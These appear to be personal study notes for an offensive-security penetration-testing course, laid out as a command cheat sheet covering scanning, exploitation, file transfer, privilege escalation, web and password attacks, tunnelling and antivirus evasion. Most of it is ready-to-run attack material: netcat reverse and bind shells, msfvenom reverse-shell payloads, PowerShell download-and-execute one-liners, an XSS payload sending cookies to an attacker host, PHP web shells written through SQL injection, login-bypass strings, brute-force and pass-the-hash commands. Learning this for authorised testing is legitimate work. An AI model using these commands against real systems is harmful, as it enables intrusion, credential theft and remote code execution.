My Notes

#Start SSH

root@kali:~/Documents/pwk# systemctl start ssh
root@kali:~/Documents/pwk# systemctl status ssh

#Verify that a service is running and listening on a specific port

root@kali:~/Documents/pwk# netstat -antp | grep sshd

#Enable ssh on startup if OS

root@kali:~/Documents/pwk# systemctl enable ssh

#wget command

wget www.cisco.com

2. - The Essential Tools

#Netcat - Remote Administration, TCPClient & TCPServer Listening on a TCP/UDP Port

#TCPClient

nc -nv 10.0.0.22 110 - check if a port is open or closed.

nc -nv 10.11.16.86 4445 - connect to network service

nc -nv 10.11.16.86 4445 < /usr/share/windows-binaries/wget.exe

root@kali:~# ncat -v 10.0.0.22 4444 --ssl

#TCPServer

nc -nlvp 4445

nc -nlvp 4444 > wget.exe #Transferring Files with Netcat

nc -nlvp 4444 -e cmd.exe #Bind Shell / CMD to port 4444

nc -nlvp 4445 #Reverse Shell

nc -nv 10.11.16.86 4445 -e /bin/bash

#Ncat - more secure read/write & bind shell

ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl

Tcpdump
https://hackertarget.com/tcpdump-examples/

#Tcpdump - read from file

#filter for source IP
tcpdump -n src host 172.16.40.10 -r /root/hashes/password_cracking_filtered.pcap

#filter for destination IP
tcpdump -n dst host 172.16.40.10 -r /root/hashes/password_cracking_filtered.pcap

#filter for port 81
tcpdump -n port 81 -r /root/hashes/password_cracking_filtered.pcap

#dump in hex format
tcpdump -nX -r /root/hashes/password_cracking_filtered.pcap

#display packets with PSH & ACK flags turned on
tcpdump -A -n 'tcp[13] = 24' -r /root/hashes/password_cracking_filtered.pcap

#Tcpdump - live capture

#Monitor all packets on eth1 interface
tcpdump -i eth1

#Monitor all traffic on port 80 (HTTP)
tcpdump -i eth1 'port 80'

#Monitor all traffic on port 25 (SMTP)
tcpdump -vv -x -X -s 1500 -i eth1 'port 25'

#verify command execution by monitoring ping command
tcpdump -i <tun0> icmp //only tcp packets

3. - Passive Information Gathering

#Google dork - https://www.exploit-db.com/google-hacking-database

site:microsoft.com -site:www.microsoft.com

inurl:.php? intext:CHARACTER_SETS,COLLATIONS intitle:phpmyadmin

filetype:pdf inurl:php? and intitle:admin

#TheHarvester
#theharvester -d msn.com -b google > /root/Documents/pwk/exercises/google.txt

#whois

whois example.com

whois 50.7.67.186

4. - Active Information Gathering

#Find dns of example.com

host -t ns example.com

#attempt a zone transfer for zone transfer from example

host -l exmaple.com ns.example.com

#DNSRecon - resolve ns and attempt a zone transfer for megacorpone.com

dnsrecon -d megacorpone.com -t axfr

#Dnsenaum - resolve ns and attempt a zone transfer for zonetransfer.me

dnsenum zonetransfer.me

#TCP CONNECT / SYN Scanning

nc -nvv -w 1 -z 10.0.0.19 3388-3390

#4.2.2 - UDP Scanning

nc -nv -u -z -w 1 10.0.0.19 160-162

#IPTables - monitor the amount of traffic sent to a specific host
iptables -I INPUT 1 -s 10.0.0.19 -j ACCEPT
iptables -I OUTPUT 1 -d 10.0.0.19 -j ACCEPT
iptables -Z

#View traffic after running nmap or other service

iptables -vn -L

Nmap

**“As a general rule I always do a full port scan against every box.
You just never know when you'll find a non-standard RHP with a service running.
There are life scenarios when this is not appropriate, but in the offsec labs its fine.”**

#full scan
nmap -v -p- -oA nmap/full 10.11.1.49

#Nmap full scan Windows
nmap -p- 10.10.10.52 -T4
Quick nmap scap for the top 20 ports

nmap -sT -A --top-ports=20 10.11.1.1-254 -oG top-port-sweep.txt

#SMB OS Discovery
nmap 10.0.0.19 --script smb-os-discovery.nse

#nmap sweeps are very useful for common services and ports enum

#example sweep across port 80 on the network

nmap -p 80 10.11.1.1-254 -oG web-sweep.txt

grep output

grep open web-sweep.txt |cut -d" " -f2

#bash one liner to find smb service for all UP hosts across the network.

host=`grep open web-sweep.txt | cut -d" " -f2` | for ip in $host;do nmap $ip --script smb-os-

discovery.nse; done

#NMAP Scripts

#nmap run vul and safe scripts on a port. -Pn do not ping
nmap -p 445 --script "vuln and safe" -Pn -n

#Output all NMAP Scripts

grep -r categories /usr/share/nmap/scripts/*.nse | grep -oP '".*?"' | sort -u

nmap scan smb port 139,445

nmap -v -p 139,445 -oG smb.txt 10.11.1.1-254

nbtscan another tool used for SMB NetBIOS services
dashboard/robot.txt
nbtscan -r 10.11.1.0/24

#Smb share running Windows for SMB vuln.

nmap -v -p 139,445 --script=smb-vuln-ms*.nse --script-args=unsafe1 <target>

#nmap cheet sheet
https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/

nmap -sV 10.10.10.165

#check if port 80, 21 to 25 are open on IP 127.0.0.1
nmap 127.0.0.1 -p 80,21-25

-sC defaults scripts, -sV service enumartion, -oA output all formats, -vvv show what ports are open as soon as it finds out
 nmap -sC -sV -oA nmap/initial -vvv [ip_address]

#Intense Slow Scan
nmap -v -sS -A -Pn -T5 -p- [ip_address]

#Quick UDP Scan
nmap -v -sU -T5 [ip_address]

#full UDP scan
sudo nmap -v -sU -T5 -p- [ip_address]

#-T4 for faster execution
nmap -sV -T4 -A -vvv [ip_address]

#nmap shell shock script
nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls <target>

4.5.2 - Scanning for SNMP

nmap -sU --open -p 161 10.11.1.1-254 -oG mega-snmp.txt

Alternatively, we can use a tool such as onesixtyone40

```
echo public > community
echo private >> community
echo manager >> community
for ip in $(seq 1 254);do echo 10.11.1.$ip;done > ips
onesixtyone -c community -i ips

#Enumerating the Entire MIB Tree
snmpwalk -c public -v1 10.11.1.22

#Enumerating Windows Users:
snmpwalk -c public -v1 10.11.1.204 1.3.6.1.4.1.77.1.2.25

#Enumerating Running Windows Processes:
snmpwalk -c public -v1 10.11.1.204 1.3.6.1.2.1.25.4.2.1.2

#Enumerating Open TCP Ports:
snmpwalk -c public -v1 10.11.1.204 1.3.6.1.2.1.6.13.1.3

#Enumerating Installed Software:
snmpwalk -c public -v1 10.11.1.204 1.3.6.1.2.1.25.6.3.1.2
```

5.1 - Vulnerability Scanning with Nmap

```
#Locatation of NSE scripts - /usr/share/nmap/scripts/

#scan a Cold Fusion web server for a directory traversal vulnerability
nmap -v -p 80 --script=http-vuln-cve2010-2861 <target>

#Openvans
#Job for openvas-scanner.service failed because a timeout was exceeded.
See "systemctl status openvas-scanner.service" and "journalctl -xe" for details.

#bash oneliner - greenbone-security-assistant openvas-scanner openvas-manager

#start all three services
for i in greenbone-security-assistant openvas-scanner openvas-manager; do systemctl start $i; done

#check status of services
for i in greenbone-security-assistant openvas-scanner openvas-manager; do systemctl status $i; done
```

6 Buffer Overflows ESP: (Extended Stack Pointer) vs EIP (Extended Instruction Pointer)

EIP is a register that points to the next instruction...It simply points to the address in which that instruction is placed...
So if we overwrite this we can change the direction flow of the program and make it do what we want....

- If we can overwrite EIP we are the main controller of the program.
- EIP would redirect execution flow to ESP, with the ESP holding contents of shellcode.

7 - Windows Buffer Overflows Exploitation

Win 32 / x86
The x86 architecture stores addresses in little endian format,
where the low-order byte of the number is stored in memory
at the lowest address, and the high-order byte at the highest address
https://searchnetworking.techtarget.com/definition/big-endian-and-little-endian

To quickly go from a 32bit hex address in big endian to little endian without manually reversing it:
struct.pack('<I', 0x08134597)

Here is a shortcut not shown in the video to generate the list of chars: print
''.join(r'\x{0:02x}'.format(x) for x in range(1,256))

“-e” - encode shellcode . "-b' - specific bad characters we wish to avoid

#msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.4 LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"

ExitThread vs ExitProcess

ExitProcess - MSF default exit method will kill the service completely.

If the program is a threaded application, we can avoid crashing completely
by using the ExitThread method.

ExitThread - will terminate the affected thread, without disrupting the
usaul operations of the application. It will exit withouth killing the service completely.

#msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.4 LPORT=443 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"

USE - No Operation (NOP) instructions (0x90), to avoid overwriting the first few bytes of shellcode.
#buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode

Immunity Debugger

Immunity Debugger script, mona.py. This script will
help us identify modules in memory that we can search for

generate module info table
!mona modules

#search for opcode in all sections of module
!mona find -s ''\xff\xe4'' -m <module>

8. - Linux Buffer Overflow Exploitation

#send binary to dubugger
edb --run <binary>

Cannot increase buffer length method:
Use the few bytes to write first stage shellcode to
(1) align EAX register to redirect to our A's buffer.
(2) jump to the EAS register

Jump to ESP

Return to libc method:
#Bruteforcing ASLR works on programs that can crash as many times as possible.
#This method does not work on programs that crash without a second attempt

9 - Public Exploits - Never run an exploit without reviewing its sourcecode/innerworkings.

(PoC) Proof of Concept - source code that can be used to demonstrate the bug/vulnerablity.

Vouched Sources:

https://www.securityfocus.com/

https://www.exploit-db.com

White Papers - good resource for new research
https://www.exploit-db.com/papers

"CVE is a list of information security vulnerabilities and exposures
that aims to provide common names for publicly known problems.
The goal of CVE is to make it easier to share data across separate
vulnerability capabilities (tools, repositories, and services)
with this "common enumeration."

https://cve.mitre.org/

Tools on Kali:

Kali contains a local version of Exploit-DB, a database that contains various exploits, code, and publications.

#searchsploit search through exploits and shellcodes using terms from Exploit-DB #-m to mirror file
#searchsploit -m <target>

searchsploit -m exploits/linux/remote/40064.txt

-x, --examine the contents of file, 40616.c
searchsploit -x /usr/share/exploitdb/exploits/linux/local/40616.c

#search for privilege escalation exploits & grep for linux kernel 2.6

searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6

Fixing Public Exploits:

Simple Rules to Live by:

1. Always review sourcecode to understand the innerworkings of the public code.
2. Account for modification of the code to get it to a working condition.

How should it be compiled? gcc or windows target, etc?
Account for shellcode. Would it match our envrioment.

Buffer overflows. Would the address match our envrioment?
Is the address of JMP ESP, for example, correct?

10 - File Transfers

“The term post exploitation refers to the actions performed by an attacker, once some level of control has been gained on his target. This may include uploading files and tools to the target machine, elevating privileges, expanding control into additional machines, installing backdoors, cleaning up evidence of the attack, etc...

...Antivirus companies create databases of signatures for known malicious files. Once a file with a known signature is found, it is usually quarantined by the antivirus software, and rendered useless. Even worse, the incident containing information about the affected file may alert diligent administrators to our presence”
(PWK guide, 2020)

File Transfer Methods

Windows operating systems up to Windows XP and 2003 contain a TFTP client, by default Linux os, wget, curl and python.

```
#Updated Windows File Transfer Methods
https://medium.com/@PenTest_duck/almost-all-the-ways-to-file-transfer-1bd6bf710d65

"the most reliable across Windows editions."
certutil -urlcache -split -f "http://<rhost>/nc64.exe" nc.exe

powershell -c IEX(New-Object Net.WebClient).DownloadFile('http://<rhost>/nc64.exe',
'nc64.exe')

powershell "IEX(New-Object Net.WebClient).downloadString('http://<rhost>evil-
code.ps1')"

powershell “wget http://10.10.14.30/nc64.exe -OutFile nc64.exe”

echo open 10.10.14.30 > ftp.txt
echo ascii >> ftp.txt
echo PUT password.txt >> ftp.txt
echo bye >> ftp.txt

ftp -v -n -s:ftp.txt -A # run ftp command from file

#web shell to reverse shell
c:\windows\system32\cmd.exe  /c powershell IEX(New-Object
Net.Webclient).downloadString('http://<rhost>:80/Invoke-Tcp2.ps1')
```

FTP non-interactively:

```
C:\Users\Sample>echo open 10.11.0.5 21> ftp.txt
C:\Users\Sample>echo USER evils>> ftp.txt
C:\Users\Sample>echo ftp>> ftp.txt
C:\Users\Sample>echo bin >> ftp.txt
C:\Users\Sample>echo GET nc.exe >> ftp.txt
C:\Users\Sample>echo bye >> ftp.txt
C:\Users\Sample>ftp -v -n -s:ftp.txt
```

Bypassing PowerShell execution policies

#Usage: powershell -ExecutionPolicy Bypass -File c:\Windows\temp\run.ps1

```
$secpasswd = ConvertTo-SecureString "aliceishere" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("Administrator",
$secpasswd)
$computer = "DEV01"
[System.Diagnostics.Process]::Start("C:\Windows\temp\dabbb118.exe","",
$mycreds.Username, $mycreds.Password, $computer)
```

Powershell : HTTP downloader (New versions of windows)

#Usage: C:\Users\Sample> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive - NoProfile -File wget.ps1

```
echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://<rhost>/evil.exe" >>wget.ps1
echo $file = "evil.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
```

VBS script: HTTP downloader (Legacy windows)

#Usage: C:\Users\Sample>cscript wget.vbs "http://10.11.0.165/evil.exe" evil.exe

```
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >>
wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >>
wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```

11. - Privilege Escalation - “Think Like a Network Administrator”

"Privilege escalation is the process of increasing the level of access to a machine, or network. In most operating systems, and networked environments, the process of privilege escalation is inherently prevented, in order to adhere to the user privilege separation model. Therefore, by definition, the process of privilege escalation will involve breaking this security model." (PWK guide, 2020)

"..Machine, most commonly exploiting a process or service with higher privileges.
If the exploitation is successful, our exploit payload will be executed with those higher privileges."

Privilege escalation techniques
1. Kernel exploits.
2. Exploiting services which are running as root / nt system
3. Exploiting SUID / admin Executables
4. Exploiting SUDO /admin rights/user
5. Exploiting badly configured cron jobs
6. Exploiting users with ‘.’ in their PATH (linux)
6.1 Exploiting DLL's/ writable PATH folders, etc (windows)

PyInstaller Quickstart - target windows with no python envrionment.

#create the stand-alone executable
python pyinstaller.py --onefile ms11-080.py

Install PyInstaller from PyPI:
pip install pyinstaller

Go to your program's directory and run:
pyinstaller yourprogram.py

https://www.pyinstaller.org/

#command to add users to rdp group
net localgroup "Remote Desktop users" <user> /add

Windows Weak Services:

Get nt/system when the service is restarted, or the machine is rebooted:

Incorrect File and Service Permissions.
Does the user have full read and write access to the file/binary?
If Yes, we can replace file with a malicious one.

#complie with i686-w64-mingw32-gcc useradd.c -o service.exe

```
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
int main ()
{
int i;
i=system ("net localgroup administrators low /add");
return 0;
}
```

Linux Weak Services :
Weak and misconfigured permissions on folders/binaries or SUID, cronjobs, root scripts, etc.

```
#find all SUID files on system.
find / -perm -4000 2>/dev/null

#find world writable files
find / -perm -2 ! -type l -ls 2>/dev/null
```

12. - Client Side Attacks

Know Your Target.
"The issue with client side attacks, from an attacker's standpoint, is that the enumeration of the victim client software cannot be done easily."

Replacing Shellcode

```
msfvenom -p windows/shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -f js_le -e generic/
none
```

#JSP

msfvenom -p java/jsp_shell_reverse_tcp lhost=10.0.0.35 lport=5555

Java Applets

Java version 7 complie:

"Since the release of Kali Linux 2016.2, Java version 7 is not available in the Kali repositories.
In order to complete the exercise using the PWK Kali VM 2018.3, the following commands are needed to compile and sign the Java code:"

/usr/lib/jvm/java-8-openjdk-i386/bin/keytool
/usr/lib/jvm/java-8-openjdk-i386/bin/ jarsigner
https://forums.offensive-security.com/showthread.php?18497-12-3-Changes-to-quot-Java-Signed-Applet-Attack

javac -source 1.7 -Xlint -target 1.7 JavaApp.java

echo "Permissions: all-permission" > manifest.txt

#Warning: Different store and key passwords not supported for PKCS12 KeyStores.
keytool -genkey -alias signapplet -keystore mykeystore -keypass mykeypass -storepass mykeypass

jarsigner -keystore mykeystore -storepass mykeypass -keypass mykeypass -signedjar SignedJavaApp.jar JavaApp.jar signapplet

echo '<applet width="1" height="1" id="Java Secure" code="Java.class" archive="SignedJava.jar"><param name="1" value="http://10.11.0.5:80/evil.exe"></applet>' > java.html

cp /usr/share/windows-binaries/nc.exe to current directory & mv nc.exe to evil.exe

Javadocs:
https://docs.oracle.com/javase/tutorial/deployment/jar/signing.html

13. - Web Application Attacks

“A dynamic web application will usually provide a larger attack surface...
Depending on the quality of this code and the configuration of the web server,
the integrity of the site may be compromised by a malicious visitor” (PWK guide, 2018)

Firefox extensions:
Cookies Manager+55
Tamper Data56

https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/
https://addons.mozilla.org/en-US/firefox/addon/tamper-data/

Cross Site Scripting (XSS)

XSS vulnerabilities are caused due to unsanitized user input that is then displayed on a web page in HTML format.

They don't directly compromise a machine, these attacks can still have significant impacts, such as cookie stealing
and authentication bypass, redirecting the victim’s browser to a malicious HTML page, and more.
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

```
#Injecting JavaScript Into the Form
<script>alert("XSS")</script>

#Invisible iframe, same results but in a stealthier manner.
<iframe
SRC="http://<lhost>/reports height = "0" width ="0">
</iframe>

#Stealing Cookies and Session Information
<script>
new Image().src="http://<lhost>/session.php?output="+document.cookie;
</script>
```

Figure 13 - Invisible iframe, browser redirection, may be used to redirect a victim browser to a client side attack
or **to an information gathering script.**

```
root@kali:~/Documents/pwk/exercises/13# nc -nvlp 80
listening on [any] 80 ...
connect to [10.11.0.165] from (UNKNOWN) [10.11.0.165] 49012
GET /report%20height%20= HTTP/1.1
Host: 10.11.0.165
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.11.16.86/index.php
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
```

Local (LFI) and remote (RFI)

https://www.exploit-db.com/papers/13017

These vulnerabilities are commonly found in poorly written PHP code.

"LFI vulnerabilities are a subclass of RFIs. The difference between the two is the web application's capability to include either local or remote files. RFI attacks allow the attacker to introduce his own code to the webserver, resulting in a quick compromise, while LFI attacks limit the attacker to including files already existing on the web server, thus making compromise more challenging."

In versions of PHP below 5.3, we would be able to terminate our request with a null byte (%00)

LIF's
Can we write PHP code on the victim's server?

YES - then we could get a shell.

NO..?

• Try Contaminating Log Files.
<?php echo shell_exec($_GET['cmd']);?>

• /var/mail/<user> (if we can write emails to user, use telnet to inject PHP)

```
telnet ip <port>
helo <user> or EHLO me.self.name
VRFY <user>@localhost
mail from:
rcpt <user>@localhost
data
Subject: You got owned
#PHP $_REQUEST is a PHP super global variable
#Used to collect data after submitting an HTML form.
<?php echo system($_REQUEST[pwaned]);?>
#empty space is important for code output.

.
```

From LFI to Code Execution

https://awakened1712.github.io/oscp/oscp-lfi-rfi/

Remote File Inclusion
RFI's are less common than LFIs

```
<!-- Veirfy evil.txt.php has been included-->
http://<target>/addguestbook.php?name=a&comment=b&LANG=http://<rhost>/evil.txt
```

MySQL SQL Injection

SQL Injection is a common web vulnerability found in dynamic sites that is caused by unsanitized user input, which is then passed on to a database.
This can be used to “break out” of the original query, to include more malicious actions.

These types of vulnerabilities can lead to database information leakage and, depending on the environment, could also lead to complete server compromise

Authentication Bypass

#username fields
(1)wronguser' or 1=1 limit 1;#order
(2) wronguser' or '1=1 -- -' limit 1;#
SELECT * FROM users WHERE username='1' or '1=1 -- -' limit 1;#

#If the username is already known, the only thing to be bypassed is the password verification.
(1) & (2) condition is always true and thus bypasses the security.

(1) ' or '1'='1' limit 1;#
password='' or '1'='1' limit 1;#

(2) ' or 1='1' limit 1;#

password= '' or 1='1' limit 1;#

Enumerating the Database
SQL injection attacks can be used to disclose database information using various injected queries. Most of these techniques rely on abusing SQL query statements and gathering information about the database structure from the errors.

We can test this vulnerability by **simply adding a quote (or a double quote)** after the ID parameter.

Column Number Enumeration

Depending on the verbosity of the web application, an attacker could try to use the "order by" output query to gather information about the database structure
Increase the number till we get an error.
The error provides us with important information, about table columns.

http://10.11.1.35/**comment.php?id=738 order by 1**

The "union all select" statement is useful to inject as it allows us to add our own select statement to the original query and often have the output shown on the page

http://10.11.1.35/comment.php?id=738 union all select 1,2,3,4,5,6

Extracting Data from the Database

```
--version info
http://10.11.16.86/comment.php?id=738 union all select 1,2,3,4,@@version,6

--current user
http://10.11.1.35/comment.php?id=738 union all select 1,2,3,4,user(),6

--enum tables and column structures using MySQL information schema
http://10.11.1.35/comment.php?id=738 union all select 1,2,3,4,table_name,6 FROM
information_schema.tables

 --target specific table in the db, e.g, display columns for the users table
http://10.11.1.35/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM
information_schema.columns where table_name='users'

 --extract name and password values from the users tables
http://10.11.1.35/comment.php?id=738 union select 1,2,3,4,concat(name,0x3a,password),
6 FROM users
```

From SQL Injection to Code Execution

http://kaoticcreations.blogspot.com/p/basic-sql-injection-101.html

"Depending on the operating system, service privileges, and filesystem permissions, SQL injection vulnerabilities may be used to read and write files on the underlying operating system." PWK guide(2018).

Can we read files? MySQL load_file('<file_name>') an read files on the system

http://10.11.16.86/comment.php?id=736 union select 1,2,3,4,load_file('c:/windows/system32/drivers/etc/hosts') ,6 FROM users

Can we create evil.php in web root? MySQL INTO OUTFILE ‘<full_path_file_name>’

http://10.11.16.86/comment.php?id=736 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'

Web Application Proxies - On many occasions, a web application may restrict the input given by a user.

1. A parameter is vulnerable to SQL injection (i.e, is not sanitized).
2. But the web application interface does not allow for easy modification of this vulnerable parameter.
3. It could be a POST request, i.e no easy parameter modification through URL manipulation.

Cases 1, 2, and 3 can be avoided by using a local web proxy like Burb Suite or Tamper Data.

Automated SQL Injection Tools

The sqlmap tool can be used to both identify and exploitSQL injection vulnerabilities.

#sqlmap crawl parameter to enum pages

sqlmap -u http://<rhost> --crawl=1

#dump database, after an injection point is found

sqlmap -u http://<rhost>/injection.php?id=738 --dbms=mysql --dump --threads=5

#dump all
sqlmap -u http://10.11.16.86/comment.php?id=736 --dbms=mysql --dump-all --threads=5

14. - Password Attacks

If a service of some sort requires valid credentials to access it, we can simply attempt to guess, or brute-force,
these credentials until they are identified.

"Generally speaking, the passwords used in our guessing attempts can come from two sources: dictionary files[like rockyou.txt on kali] or key-space brute-force."

Crunch - Key-space Brute Force
crunch 6 6 0123456789ABCDEF -o crunch1.txt

You notice the following trend in the password structure.
[Capital Letter] [2 x lower case letters] [2 x special chars] [3 x numeric]

#The resulting command to generate our required password list would look similar to:
crunch 8 8 -t ,@@^^%%%

In Memory Attacks : Pwdump and Fgdump

/usr/share/windows-binaries/fgdump/fgdump.exe

#Must be admin to run
C:\>fgdump.exe

Windows Credentials Editor (WCE) is a security tool that allows one to perform several attacks to obtain clear text passwords and hashes from a compromised

Windows host.

WCE is able to steal credentials either by using DLL injection or by directly reading the LSASS process memory.

/usr/share/wce/wce32.exe
/usr/share/wce/wce64.exe

Passing the Hash Techniques

Password Profiling

This involves **using words and phrases taken from the specific organization you are targeting** and including them in
your wordlists with the aim of improving your chances of finding a valid password.

Scenario:
A Nano-Technology company, had an administrator that used the password “nanobots93” to secure one of his network machines .

Cewl, can scrape example.com to generate a password list from words found on the web pages.

```
cewl www.example.com -m 6 -w example-cewl.txt
```

Password Mutating

Users most commonly tend to mutate their passwords in various ways. This could include adding a few numbers at the end of the password, swapping out lowercase for capital letters, changing certain letters to numbers, etc.

John The Ripper - add common mutation sequences to a password list.

#Edit config file to add new line for mutation
vim /etc/john/john.conf

Add two numbers to the end of each password
$[0-9]$[0-9]

john --wordlist=example-cewl.txt --rules --stdout > mutated.txt

Online Password Attacks Tools: Brute Force - Examples

Because online password brute-forcing are noisy, they can lead to account lockouts and log alerts. The golden rule is choosing your targets, user lists, and password files carefully and intelligently before initiating the attack.

- Hydra
- Medusa
- Ncrack
- Metasploit

In order to be able to automate a password attack against a given networked service, we must be able to generate authentication requests for the specific protocol in use by that service. Services such as HTTP, SSH, VNC, FTP, SNMP, POP3, etc.

SNMP
hydra -P password-file.txt -v <rhost> snmp

SSH
hydra -l root -P password-file.txt <rhost> ssh

FTP
hydra -l admin -P password-file.txt -v <rhost> ftp

HTTP
medusa -h <rhost> -u admin -P password-file.txt -M http -m DIR:/<path> -T 10

RDP
ncrack -vv --user admin -P password-file.txt rdp://<rhost>

Password Hash Attacks - Password Cracking

In cryptanalysis, password cracking is the process of recovering the clear text passphrase, given its stored hash value.

Once the hash type is known, a common approach to password cracking is to simulate the authentication process by repeatedly trying
guesses for the password and comparing the newly-generated digest with a stolen or dumped hash.

Hash Properties:
• The length of the hash (each hash function has a specific output length).
• The character-set used in the hash.
• Any special characters that may be present in the hash.

Tools
hash-identifier
John

#brute-force mode
john 127.0.0.1.pwdump

#wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt 127.0.0.1.pwdump

#rules
john --rules --wordlist=/usr/share/wordlists/rockyou.txt 127.0.0.1.pwdump

#linux hashes
unshadow passwd-file.txt shadow-file.txt > unshadowed.txt

Pass-The-Hash - Windows

The technique, known as Pass-The-Hash (PTH), allows an attackerto authenticate to a remote target by using a valid combination of username and NTLM/LM hash rather than a cleartext password.

#Setup SMBHASH
export SMBHASH=aad3b435b51404eeaad3b435b51404ee:<NTLM/LM HASH>

#Use pth-winexe
pth-winexe -U administrator% //<rhost> cmd

https://www.tarlogic.com/en/blog/how-kerberos-works/

https://www.tarlogic.com/en/blog/how-to-attack-kerberos/

How to attack Kerberos?

1. Kerberos brute-force
2. ASREPRoast
3. Kerberoasting
4. Pass the key
5. Pass the ticket
6. Silver ticket
7. Golden ticket

15. - Port Redirection and Tunneling

Tunneling a protocol involves encapsulating it within a different payload protocol than the original.

By using tunneling techniques, it's possible to carry a given protocol over an incompatible delivery-network, or to provide a secure path through an untrusted network.

Port Forwarding/Redirection

It involves accepting traffic on a given IP address and port and then simply redirecting it to a different IP address and port.

#rinetd
pt-get install rinetd
cat /etc/rinetd.conf

SSH Tunneling

Create encrypted tunnels within the SSH protocol, which supports bi-directional communication channels

Local Port Forwarding

Tunnel a local port to a remote server, using SSH as the transport protocol:

```
ssh <gateway> -L <lport>:<rhost>:<rport>
```

Remote Port Forwarding

SSH remote port forwarding allows us to tunnel a remote port to a local server:

```
ssh <gateway> -R <rport>:<lhost>:<lport>
```

Dynamic Port Forwarding

SSH dynamic port forwarding allows us to set a local listening port and have it tunnel incoming traffic to any remote destination through a proxy.

```
ssh -D <lproxyport> -p <rport> <target>
```

Proxychains

Proxychains enables us to run any network tool through HTTP, SOCKS4, and SOCKS5 proxies.

#create a reverse SSH tunnel to our attacking machine
ssh -f -N -R 2222:127.0.0.1:22 root@208.68.234.100

#ssh the webserver on port 2222
ssh -f -N -D 127.0.0.1:8080 -p 2222 hax0r@127.0.0.1

#proxychains, we can use nmap to scan the internal remote network
proxychains nmap --top-ports=20 -sT -Pn 172.16.40.0/24

HTTP Tunneling

HTTP Tunneling is a technique whereby a payload protocol is encapsulated within the HTTP protocol84, usually as the body of a HTTP GET or POST request.

nc -vvn 192.168.1.130 8888

Traffic Encapsulation

In this case, we can use an HTTP or SSL encapsulating tool such as HTTPTunnel or stunnel, respectively.

16. - The Metasploit Framework

Building Your Own MSF Module is possible.

An exploit framework is a system that contains development tools geared toward exploit development and usage.
The frameworks standardize the exploit usage syntax and provide dynamic shellcode capabilities.

Kali Linux contains the metasploit-framework package, which contains the open source elements of the Metasploit project.

systemctl start postgresql
msfconsole

Auxiliary Modules - provide functionality such as protocol enumeration, port scanning, fuzzing, sniffing, etc
msf > show auxiliary
msf> use auxiliary/scanner/snmp/snmp_enum

#WebDAV servers are often poorly configured and can often lead to a quick and easy shell on a victim.
msf> use auxiliary/scanner/http/webdav_scanner

Metasploit Database Access

If the postgresql services is started ahead of time, the MSF will log findings and information about discovered hosts in a convenient, accessible database. To display all

discovered hosts up to this point, we can give the hosts command within msfconsole

msf > hosts

db_nmap MSF wrapper to scan hosts with Nmap andhave the scan output inserted to the MSF database.

msf > db_nmap 10.11.1.1-254

Exploit Modules
Take note of the Exploit Target. This is essentially a list of various OS versions or software versions which the exploit is know to work for

Staged vs. Non-Staged Payloads

A non-staged payload is a payload that is sent in its entirety in one go – as we've been doing up to now. A staged payload is usually sent in two parts.

Situations to use staged shellcode

• The vulnerability we are exploiting does not have enough buffer space to hold a full payload
• Antivirus software is detecting embedded shellcode in an exploit

msfvenom can inject a payload into an existing PE executable, which further reduces the chances of AV detection.

17. - Bypassing Antivirus Software

As briefly explained earlier, antivirus systems are mostly considered a "blacklist technology", whereby known signatures
of malware are searched for on the file system and quarantined if found.

Bypassing antivirus involves changing or encrypting the contents of a known malicious file so as to change its binary structure.
By doing so, the known signature for the malicious file is no longer relevant and the new file structure may fool
the antivirus software into ignoring this file.

The presence, type, and version of any antivirus software or similar software should be identified before uploading files to the target machine.
